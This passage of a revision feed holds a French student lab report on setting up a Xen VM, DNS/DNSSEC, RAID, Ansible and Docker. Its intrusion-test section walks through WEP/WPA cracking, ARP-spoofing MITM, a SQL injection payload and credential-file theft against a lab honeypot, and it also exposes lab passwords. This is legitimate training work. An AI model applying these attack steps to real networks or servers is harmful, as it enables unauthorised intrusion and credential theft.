&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55142</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55142"/>
				<updated>2020-12-21T17:59:15Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages }}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55140</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55140"/>
				<updated>2020-12-21T17:56:45Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
